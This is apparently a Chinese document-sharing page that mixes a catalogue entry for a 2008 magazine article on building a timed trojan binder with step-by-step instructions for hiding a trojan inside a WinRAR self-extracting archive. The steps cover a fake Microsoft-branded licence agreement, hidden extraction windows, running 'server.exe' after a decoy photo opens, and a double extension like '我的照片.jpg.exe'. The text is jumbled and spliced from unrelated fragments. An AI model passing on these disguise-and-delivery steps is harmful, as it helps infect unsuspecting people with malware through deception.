点击“下一步”按钮,在接下来的添加“用户允许协议”(License agreement)中添加一个伪装的用户协议迷惑中招者,选择“显示用户允许协议”(Display a license),点击“Browse”选择一份编辑好的TXT文档,此文档可以用微软公司的名义来编辑,设置完毕后点击“下一步”。
这一步的目的是迷惑对手并隐藏木马安装的过程。
自己动手捆绑定时运行木马

自己动手捆绑定时运行木马
Wlnd Kid
【期刊名称】《网友世界》
【年(卷),期】2008(000)013
【摘要】时下有许多木马捆绑工具,但要找到合自己口味的工具实在是很难,那我们为什么不自己动手做一个呢?运行肘想怎样就怎样!
【总页数】2页(P50-51)
【作者】Wlnd Kid
【作者单位】无
【正文语种】中文
【中图分类】TP393.08
【相关文献】
1.自己动手“揪”出木马守护进程 [J], 平淡
2.浅析捆绑木马检测技术 [J], 郭振江;
3.识破伪装,让捆绑型木马现出原形 [J], 郭建伟
4.自己动手搞定电脑中的木马程序 [J], 小瓢虫
5.自己动手造木马——蜜蜂大盗 [J], 冰河
因版权原因,仅展示原文概要,查看原文内容请购买。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
WinRAR是网上常用的一个压缩/解压缩软件,支持包括zip在内的多种压缩格式,压缩率高,现在越来越多的人喜欢用WinRAR来压缩软件了。
优点:
1、WinRAR“捆绑”的文件是永远不会被杀的,不用担心哪天杀毒软件会瞄上你的“捆绑机”。
2、等第一个正常程成的程序稍嫌偏大,我用WinRAR3.0生成的exe比rar文件大了不少,如果是“捆绑”大文件应该还可以。
现在点击“高级”标签,选择“全部隐藏”和“覆盖所有文件”这两个选项。这两个选项是为了不让rar解压的时候弹出窗口。然后点击“文字和图标”标签,选择你喜欢的图标吧。
点击两下确定返回,在同一个目录下就会生成一个与rar同名的exe文件,这个就是“捆绑“后的文件了。你也可以给文件更名。比如“我的照片.jpg.exe”。注意,文件后缀名一定要是exe。
利用它的自解压和文件运行功能可以实现捆绑机的基本要求。
首先我们选定两个文件“server.exe”和“我的照片.jpg”,点击右键选添加到“XXXXX.rar”。(XXXXX为你文件所在的目录) 然后双击打开生成的这个rar文件,点击工具栏上的自解压图标。在弹出的对话框中选择高级自解压选项。在“解压路径”中填入你要解压的路径, %systemroot%temp表示系统安装目录下的temp文件夹,一般是c:winnttemp文件夹。“解压缩之后运行”中输入木马的服务端“server.exe”,“解压缩之前后运行”中输入“我的照片.jpg”。此处有一定的欺骗性。生成后的程序运行时会先调用默认关联的图片查看程序来打开“我的照片.jpg”,等关闭这个图片查看程序后才会去运行“server.exe”,可以起到一定的迷惑作用,所以顺序一定不能颠倒,否则就露馅了。
2、操作比较麻烦。
后记:
1、以上所有操作均在WinXP+WinRAR3.0下测试通过。
2、高级自解压-模式中选择打开方式选择隐藏启动对话框即可,如果你选择全部隐藏,那么图片也看不到了(xp中如此)。
补充:还有一件事大家注意一下:对于自解压文件,我通常选用的方法是反健选取,然后选择菜单中的解压缩到***文件夹,这样不管自解压文件中是否捆绑有木马都不会中!而且在释放后的文件夹中可以清晰的看到被捆绑的木马服务端。